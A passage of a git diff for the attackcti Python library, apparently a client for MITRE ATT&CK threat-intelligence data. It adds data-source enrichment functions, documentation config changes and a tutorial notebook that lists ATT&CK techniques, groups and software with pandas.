technique STIX objects by specific data sources accross all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -1457,12 +1623,11 @@ def get_techniques_by_datasources(self, *args, stix_format=True): if not stix_format: techniques_results = self.translate_stix_objects(techniques_results) return techniques_results - + def export_groups_navigator_layers(self): """ Export group STIX objects metadata in MITRE Navigator Layers format """ techniques_used = self.get_techniques_used_by_all_groups() groups = self.get_groups() - groups = self.remove_revoked(groups) groups_list = [] for g in groups: group_dict = dict() @@ -1488,7 +1653,11 @@ def export_groups_navigator_layers(self): "description": ("Enterprise techniques used by {0}, ATT&CK group {1} v1.0".format(k,v[0]['group_id'])), "name": ("{0} ({1})".format(k,v[0]['group_id'])), "domain": "mitre-enterprise", - "version": "3.0", + "versions": { + "attack": "10", + "navigator": "4.5.5", + "layer": "4.3" + }, "techniques": [ { "score": 1, @@ -1514,3 +1683,88 @@ def export_groups_navigator_layers(self): } with open(('{0}_{1}.json'.format(k,v[0]['group_id'])), 'w') as f: f.write(json.dumps(actor_layer)) + + def get_data_components_by_data_source(self, stix_object, stix_format=True): + """ Extracts data component STIX objects referenced by a data source STIX object. + + Args: + stix_object (stix object) : STIX Object data source to retrieve data component SITX objects from. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + + """ + + filter_objects = [ + Filter('type', '=', 'x-mitre-data-component'), + Filter('x_mitre_data_source_ref', '=', stix_object['id']) + ] + data_components = self.TC_ENTERPRISE_SOURCE.query(filter_objects) + if not stix_format: + data_components = self.translate_stix_objects(data_components) + return data_components + + def get_data_source_by_data_component(self, stix_object, stix_format=True): + """ Extracts data source STIX object referenced by a data component STIX object. + + Args: + stix_object (Stix object) : STIX Object data component to retrieve data source SITX objects from. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + + """ + + filter_objects = [ + Filter('type', '=', 'x-mitre-data-source'), + Filter('id', '=', stix_object['x_mitre_data_source_ref']) + ] + + data_source = self.COMPOSITE_DS.query(filter_objects) + + if not stix_format: + data_source = self.translate_stix_objects(data_source) + + return data_source + + def enrich_techniques_data_sources(self, stix_object): + """ Adds data sources context to STIX Object Technique. It adds data sources with their respective data components identified for each technique. + + Args: + stix_object (List of stix objects) : List of STIX Object techniques to retrieve data source and data component SITX objects context from. + Returns: + List of STIX objects + + """ + # Get 'detects' relationships + relationships = self.get_relationships(relationship_type='detects') + + # Get all data component objects + data_components = self.get_data_components() + + # Get all data source objects without data components objects + data_sources = self.get_data_sources() + + # Create Data Sources and Data Components lookup tables + ds_lookup = {ds['id']:ds for ds in data_sources} + dc_lookup = {dc['id']:dc for dc in data_components} + + # https://stix2.readthedocs.io/en/latest/guide/versioning.html + for i in range(len(stix_object)): + if 'x_mitre_data_sources' in stix_object[i].keys(): + technique_ds = dict() + for rl in relationships: + if stix_object[i]['id'] == rl['target_ref']: + dc = dc_lookup[rl['source_ref']] + dc_ds_ref = dc['x_mitre_data_source_ref'] + if dc_ds_ref not in technique_ds.keys(): + technique_ds[dc_ds_ref] = ds_lookup[dc_ds_ref].copy() + technique_ds[dc_ds_ref]['data_components'] = list() + if dc not in technique_ds[dc_ds_ref]['data_components']: + technique_ds[dc_ds_ref]['data_components'].append(dc) + if technique_ds: + new_data_sources = [ v for v in technique_ds.values()] + stix_object[i] = stix_object[i].new_version(x_mitre_data_sources = new_data_sources) + return stix_object \ No newline at end of file diff --git a/docs/_config.yml b/docs/_config.yml index 8680e90..cbd0616 100644 --- a/docs/_config.yml +++ b/docs/_config.yml @@ -8,7 +8,7 @@ logo: logo.png # Force re-execution of notebooks on each build. # See https://jupyterbook.org/content/execute.html execute: - execute_notebooks: force + execute_notebooks: 'off' # Define the name of the latex output file for PDF builds latex: @@ -28,6 +28,8 @@ repository: # Add GitHub buttons to your book # See https://jupyterbook.org/customize/config.html#add-a-link-to-your-repository html: + home_page_in_navbar: false + use_edit_page_button: true use_repository_button: true use_issues_button: true baseurl: https://attackcti.com/ diff --git a/docs/_toc.yml b/docs/_toc.yml index f7d3fbf..bbfa65c 100644 --- a/docs/_toc.yml +++ b/docs/_toc.yml @@ -1,13 +1,19 @@ # Table of content # Learn more at https://jupyterbook.org/customize/toc.html -# -- file: intro -- part: Playground + +format: jb-book +root: intro +parts: +- caption: Playground chapters: - - file: playground/ATT&CK_DataSources - - file: playground/Export_All_Techniques - - file: playground/export_groups_navigator_layers - - file: playground/ICS_ATTACK_Exploration - - file: playground/techniques_by_datasources - - file: playground/Usage_Basics - - file: playground/Usage_Filters + - file: playground/1-Collect_All_Functions + - file: playground/2-Collect_Matrix_Specific_Functions + - file: playground/3-Export_All_Techniques_To_CSV + - file: playground/4-Explore_Data_Sources + - file: playground/5-Collect_Techniques_by_Data_Sources + - file: playground/6-Explore_ICS_Attack + - file: playground/7-Export_Groups_Navigator_Layers + - file: playground/8-Lookup_Functions +- caption: Presentations + chapters: + - file: presentations/1-SANS_CTI_Summit_2022_Explorando_Fuentes_Componentes_Datos diff --git a/docs/intro.ipynb b/docs/intro.ipynb index 032f97c..11333bf 100644 --- a/docs/intro.ipynb +++ b/docs/intro.ipynb @@ -9,6 +9,7 @@ "[![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/OTRF/ATTACK-Python-Client/master)\n", "[![Open_Threat_Research Community](https://img.shields.io/badge/Open_Threat_Research-Community-brightgreen.svg)](https://twitter.com/OTR_Community)\n", "[![Open Source Love svg1](https://badges.frapsoft.com/os/v3/open-source.svg?v=103)](https://github.com/ellerbrock/open-source-badges/)\n", + "[![Downloads](https://pepy.tech/badge/attackcti)](https://pepy.tech/project/attackcti)\n", "\n", "A Python module to access up to date ATT&CK content available in STIX via public TAXII server. This project leverages the python classes and functions of the [cti-python-stix2](https://github.com/oasis-open/cti-python-stix2) and [cti-taxii-client](https://github.com/oasis-open/cti-taxii-client) libraries developed by MITRE.\n", "\n", @@ -92,4 +93,4 @@ }, "nbformat": 4, "nbformat_minor": 2 -} \ No newline at end of file +} diff --git a/docs/playground/1-Collect_All_Functions.ipynb b/docs/playground/1-Collect_All_Functions.ipynb new file mode 100644 index 0000000..97af98d --- /dev/null +++ b/docs/playground/1-Collect_All_Functions.ipynb @@ -0,0 +1,1189 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Collect All Functions\n", + "------------------\n", + "This project comes with functions that collect all STIX objects from all ATT&CK Matrices at once. These functions help collect more with less API call requests." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import ATTACK API Client" + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [], + "source": [ + "from attackcti import attack_client" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Import Extra Libraries" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "from pandas import *\n", + "import json\n", + "\n", + "import logging\n", + "logging.getLogger('taxii2client').setLevel(logging.CRITICAL)" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "'1.3.5'" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "pandas.__version__" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Initialize ATT&CK Client Variable" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": {}, + "outputs": [], + "source": [ + "lift = attack_client()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "tags": [] + }, + "source": [ + "## Get All Techniques\n", + "We can extract all STIX objects of type `attack-pattern` (technique) across all ATT&CK matrices.\n", + "* By default, this function removes `deprecated` and `revoked` techniques. If you want to keep those techniques in the results, you can run the function with the parameter `skip_revoked_deprecated=False`.\n", + "* By default, this function also includes all techniques and sub-techniques. If you want to only get techniques that are not sub-techniques, you can run the function with the parameter `include_subtechniques=False`." + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": {}, + "outputs": [], + "source": [ + "techniques = lift.get_techniques()" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Techniques in ATT&CK\n" + ] + }, + { + "data": { + "text/plain": [ + "736" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(\"Number of Techniques in ATT&CK\")\n", + "len(techniques)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "By default, the data returned by the available functions in the attackcti library is of type **stix2**. However, if you want to interact with libraries such as **Pandas**, it needs to be of type **dict**" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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creatednamex_mitre_data_sourcesx_mitre_platforms
02021-10-12T20:02:31.866ZResource Forking[File: File Creation, Process: Process Creatio...[macOS]
12021-10-08T14:06:28.212ZDowngrade Attack[Command: Command Execution, Process: Process ...[Windows, Linux, macOS]
22021-10-05T21:26:15.081ZLogin Items[Process: Process Creation, File: File Modific...[macOS]
32021-10-05T01:15:06.293ZReflective Code Loading[Script: Script Execution, Process: OS API Exe...[macOS, Linux, Windows]
42021-10-01T17:58:26.445ZCloud Storage Object Discovery[Cloud Storage: Cloud Storage Enumeration, Clo...[IaaS]
\n", + "
" + ], + "text/plain": [ + " created name \\\n", + "0 2021-10-12T20:02:31.866Z Resource Forking \n", + "1 2021-10-08T14:06:28.212Z Downgrade Attack \n", + "2 2021-10-05T21:26:15.081Z Login Items \n", + "3 2021-10-05T01:15:06.293Z Reflective Code Loading \n", + "4 2021-10-01T17:58:26.445Z Cloud Storage Object Discovery \n", + "\n", + " x_mitre_data_sources x_mitre_platforms \n", + "0 [File: File Creation, Process: Process Creatio... [macOS] \n", + "1 [Command: Command Execution, Process: Process ... [Windows, Linux, macOS] \n", + "2 [Process: Process Creation, File: File Modific... [macOS] \n", + "3 [Script: Script Execution, Process: OS API Exe... [macOS, Linux, Windows] \n", + "4 [Cloud Storage: Cloud Storage Enumeration, Clo... [IaaS] " + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "all_techniques = []\n", + "for t in techniques:\n", + " all_techniques.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(all_techniques)\n", + "df.reindex(['created','name', 'x_mitre_data_sources', 'x_mitre_platforms'], axis=1)[0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can now access the schema of the dataframe" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "['type',\n", + " 'id',\n", + " 'created_by_ref',\n", + " 'created',\n", + " 'modified',\n", + " 'name',\n", + " 'description',\n", + " 'kill_chain_phases',\n", + " 'external_references',\n", + " 'object_marking_refs',\n", + " 'x_mitre_contributors',\n", + " 'x_mitre_data_sources',\n", + " 'x_mitre_defense_bypassed',\n", + " 'x_mitre_detection',\n", + " 'x_mitre_is_subtechnique',\n", + " 'x_mitre_permissions_required',\n", + " 'x_mitre_platforms',\n", + " 'x_mitre_version',\n", + " 'x_mitre_remote_support',\n", + " 'x_mitre_system_requirements',\n", + " 'x_mitre_network_requirements',\n", + " 'x_mitre_effective_permissions',\n", + " 'x_mitre_impact_type',\n", + " 'x_mitre_tactic_type',\n", + " 'x_mitre_old_attack_id']" + ] + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "list(df)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Showing one technique example:" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-10-12T20:02:31.866Z', modified='2021-10-16T01:50:40.276Z', name='Resource Forking', description='Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\\n\\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/009', external_id='T1564.009'), ExternalReference(source_name='macOS Hierarchical File System Overview', description='Tenon. (n.d.). Retrieved October 12, 2021.', url='http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'), ExternalReference(source_name='Resource and Data Forks', description='Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', url='https://flylib.com/books/en/4.395.1.192/1/'), ExternalReference(source_name='ELC Extended Attributes', description=\"Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.\", url='https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'), ExternalReference(source_name='sentinellabs resource named fork 2020', description='Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', url='https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'), ExternalReference(source_name='tau bundlore erika noerenberg 2020', description='Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', url='https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Jaron Bradley @jbradley89', 'Ivan Sinyakov'], x_mitre_data_sources=['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution'], x_mitre_defense_bypassed=['Notarization; Gatekeeper'], x_mitre_detection='Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['macOS'], x_mitre_version='1.0')" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Enrich Techniques Data Sources\n", + "As you might already know, the ATT&CK data model now represents `data sources` as objects. However, when retrieving techniques from ATT&CK TAXII server, their data sources section only includes data sources and data components names. Therefore, we created a parameter that you can use with the `get_techniques()` function to enrich the data sources section of each technique. The parameter `enrich_data_sources` is set to `False` by default." + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [], + "source": [ + "techniques = lift.get_techniques(enrich_data_sources=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This function returns a list of techniques with the `x_mitre_data_sources` attribute as a list of STIX objects representing data sources with their respective data components depending on the technique's detection context." + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Command - Command Execution\n", + "File - File Metadata\n", + "File - File Creation\n", + "Process - Process Creation\n" + ] + } + ], + "source": [ + "for ds in techniques[0]['x_mitre_data_sources']:\n", + " for dc in ds['data_components']:\n", + " print(ds['name'], '-', dc['name'])" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-11-10T09:30:48.694Z',\n", + " 'name': 'Command',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089',\n", + " 'description': 'A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0017',\n", + " 'external_id': 'DS0017',\n", + " 'source_name': 'mitre-attack'},\n", + " {'url': 'https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html',\n", + " 'description': 'Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.',\n", + " 'source_name': 'Confluence Linux Command Line'},\n", + " {'url': 'https://www.scip.ch/en/?labs.20150108',\n", + " 'description': 'Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.',\n", + " 'source_name': 'Audit OSX'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['Windows', 'Linux', 'macOS', 'Network', 'Containers'],\n", + " 'x_mitre_collection_layers': ['Host', 'Container'],\n", + " 'x_mitre_contributors': ['Austin Clark',\n", + " 'Center for Threat-Informed Defense (CTID)'],\n", + " 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.273Z',\n", + " 'id': 'x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0',\n", + " 'description': 'Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'Command Execution',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089'}]}" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques[0]['x_mitre_data_sources'][0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Groups\n", + "We can also extract all the available groups across all ATT&CK matrices at once." + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Groups in ATT&CK\n", + "131\n" + ] + } + ], + "source": [ + "print(\"Number of Groups in ATT&CK\")\n", + "len(groups)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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typeidcreated_by_refcreatedmodifiednamedescriptionaliasesexternal_referencesobject_marking_refsx_mitre_contributorsx_mitre_version
0intrusion-setintrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c8...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-10-01T01:57:31.229Z2021-10-15T18:47:18.824ZTeamTNT[TeamTNT](https://attack.mitre.org/groups/G013...[TeamTNT][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Will Thomas, Cyjax]1.0
1intrusion-setintrusion-set--39d6890e-7f23-4474-b8ef-e7b0343...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-09-29T15:10:19.236Z2021-10-15T15:16:47.329ZAndariel[Andariel](https://attack.mitre.org/groups/G01...[Andariel, Silent Chollima][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Kyoung-ju Kwak (S2W)]1.0
2intrusion-setintrusion-set--6566aac9-dad8-4332-ae73-20c23ba...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-09-28T17:41:12.950Z2021-10-25T14:28:10.337ZFerocious Kitten[Ferocious Kitten](https://attack.mitre.org/gr...[Ferocious Kitten][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Pooja Natarajan, NEC Corporation India, Manik...1.0
3intrusion-setintrusion-set--e5603ea8-4c36-40e7-b7af-a077d24...identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-09-24T21:41:34.797Z2021-10-16T02:06:06.404ZIndigoZebra[IndigoZebra](https://attack.mitre.org/groups/...[IndigoZebra][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Pooja Natarajan, NEC Corporation India, Yoshi...1.0
\n", + "
" + ], + "text/plain": [ + " type id \\\n", + "0 intrusion-set intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c8... \n", + "1 intrusion-set intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343... \n", + "2 intrusion-set intrusion-set--6566aac9-dad8-4332-ae73-20c23ba... \n", + "3 intrusion-set intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24... \n", + "\n", + " created_by_ref created \\\n", + "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-10-01T01:57:31.229Z \n", + "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-09-29T15:10:19.236Z \n", + "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-09-28T17:41:12.950Z \n", + "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-09-24T21:41:34.797Z \n", + "\n", + " modified name \\\n", + "0 2021-10-15T18:47:18.824Z TeamTNT \n", + "1 2021-10-15T15:16:47.329Z Andariel \n", + "2 2021-10-25T14:28:10.337Z Ferocious Kitten \n", + "3 2021-10-16T02:06:06.404Z IndigoZebra \n", + "\n", + " description \\\n", + "0 [TeamTNT](https://attack.mitre.org/groups/G013... \n", + "1 [Andariel](https://attack.mitre.org/groups/G01... \n", + "2 [Ferocious Kitten](https://attack.mitre.org/gr... \n", + "3 [IndigoZebra](https://attack.mitre.org/groups/... \n", + "\n", + " aliases \\\n", + "0 [TeamTNT] \n", + "1 [Andariel, Silent Chollima] \n", + "2 [Ferocious Kitten] \n", + "3 [IndigoZebra] \n", + "\n", + " external_references \\\n", + "0 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "1 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "2 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "3 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "\n", + " object_marking_refs \\\n", + "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", + "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", + "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", + "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... \n", + "\n", + " x_mitre_contributors x_mitre_version \n", + "0 [Will Thomas, Cyjax] 1.0 \n", + "1 [Kyoung-ju Kwak (S2W)] 1.0 \n", + "2 [Pooja Natarajan, NEC Corporation India, Manik... 1.0 \n", + "3 [Pooja Natarajan, NEC Corporation India, Yoshi... 1.0 " + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "groups_list = []\n", + "for t in groups:\n", + " groups_list.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(groups_list)\n", + "df[0:4]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Software\n", + "We can extract all Enterprise, Mobile and ICS (Software Malware & Tools)" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [], + "source": [ + "software = lift.get_software()" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of Software in ATT&CK\n", + "641\n" + ] + } + ], + "source": [ + "print(\"Number of Software in ATT&CK\")\n", + "len(software)" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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typeidcreated_by_refcreatedmodifiednamedescriptionlabelsexternal_referencesobject_marking_refsx_mitre_aliasesx_mitre_contributorsx_mitre_platformsx_mitre_versionx_mitre_old_attack_id
0tooltool--f91162cc-1686-4ff8-8115-bf3f61a4cc7aidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-09-14T21:45:30.280Z2021-09-21T18:03:13.205ZWevtutil[Wevtutil](https://attack.mitre.org/software/S...[tool][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Wevtutil][Viren Chaudhari, Qualys, Harshal Tupsamudre, ...[Windows]1.0NaN
1tooltool--11f8d7eb-1927-4806-9267-3a11d4d4d6beidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-07-30T15:43:17.770Z2021-10-15T15:49:25.284ZSliver[Sliver](https://attack.mitre.org/software/S06...[tool][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Sliver][Achute Sharma, Keysight, Ayan Saha, Keysight][Windows, Linux, macOS]1.0NaN
2tooltool--80c815bb-b24a-4b9c-9d73-ff4c075a278didentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-03-19T13:11:50.666Z2021-04-26T22:35:19.315ZOut1[Out1](https://attack.mitre.org/software/S0594...[tool][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[Out1]NaN[Windows]1.0NaN
3tooltool--03c6e0ea-96d3-4b23-9afb-05055663cf4bidentity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b52021-03-18T14:57:34.628Z2021-04-25T23:30:38.375ZRemoteUtilities[RemoteUtilities](https://attack.mitre.org/sof...[tool][{'source_name': 'mitre-attack', 'url': 'https...[marking-definition--fa42a846-8d90-4e51-bc29-7...[RemoteUtilities]NaN[Windows]1.0NaN
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" + ], + "text/plain": [ + " type id \\\n", + "0 tool tool--f91162cc-1686-4ff8-8115-bf3f61a4cc7a \n", + "1 tool tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be \n", + "2 tool tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d \n", + "3 tool tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b \n", + "\n", + " created_by_ref created \\\n", + "0 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-09-14T21:45:30.280Z \n", + "1 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-07-30T15:43:17.770Z \n", + "2 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-03-19T13:11:50.666Z \n", + "3 identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 2021-03-18T14:57:34.628Z \n", + "\n", + " modified name \\\n", + "0 2021-09-21T18:03:13.205Z Wevtutil \n", + "1 2021-10-15T15:49:25.284Z Sliver \n", + "2 2021-04-26T22:35:19.315Z Out1 \n", + "3 2021-04-25T23:30:38.375Z RemoteUtilities \n", + "\n", + " description labels \\\n", + "0 [Wevtutil](https://attack.mitre.org/software/S... [tool] \n", + "1 [Sliver](https://attack.mitre.org/software/S06... [tool] \n", + "2 [Out1](https://attack.mitre.org/software/S0594... [tool] \n", + "3 [RemoteUtilities](https://attack.mitre.org/sof... [tool] \n", + "\n", + " external_references \\\n", + "0 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "1 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "2 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "3 [{'source_name': 'mitre-attack', 'url': 'https... \n", + "\n", + " object_marking_refs x_mitre_aliases \\\n", + "0 [marking-definition--fa42a846-8d90-4e51-bc29-7... [Wevtutil] \n", + "1 [marking-definition--fa42a846-8d90-4e51-bc29-7... [Sliver] \n", + "2 [marking-definition--fa42a846-8d90-4e51-bc29-7... [Out1] \n", + "3 [marking-definition--fa42a846-8d90-4e51-bc29-7... [RemoteUtilities] \n", + "\n", + " x_mitre_contributors x_mitre_platforms \\\n", + "0 [Viren Chaudhari, Qualys, Harshal Tupsamudre, ... [Windows] \n", + "1 [Achute Sharma, Keysight, Ayan Saha, Keysight] [Windows, Linux, macOS] \n", + "2 NaN [Windows] \n", + "3 NaN [Windows] \n", + "\n", + " x_mitre_version x_mitre_old_attack_id \n", + "0 1.0 NaN \n", + "1 1.0 NaN \n", + "2 1.0 NaN \n", + "3 1.0 NaN " + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "software_list = []\n", + "for t in software:\n", + " software_list.append(json.loads(t.serialize()))\n", + "df = pandas.json_normalize(software_list)\n", + "df[0:4]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get All Relationships\n", + "We can also get all relationships from all ATT&CK matrices with one API request." + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [], + "source": [ + "relationships = lift.get_relationships()" + ] + }, + { + "cell_type": "code", + "execution_count": 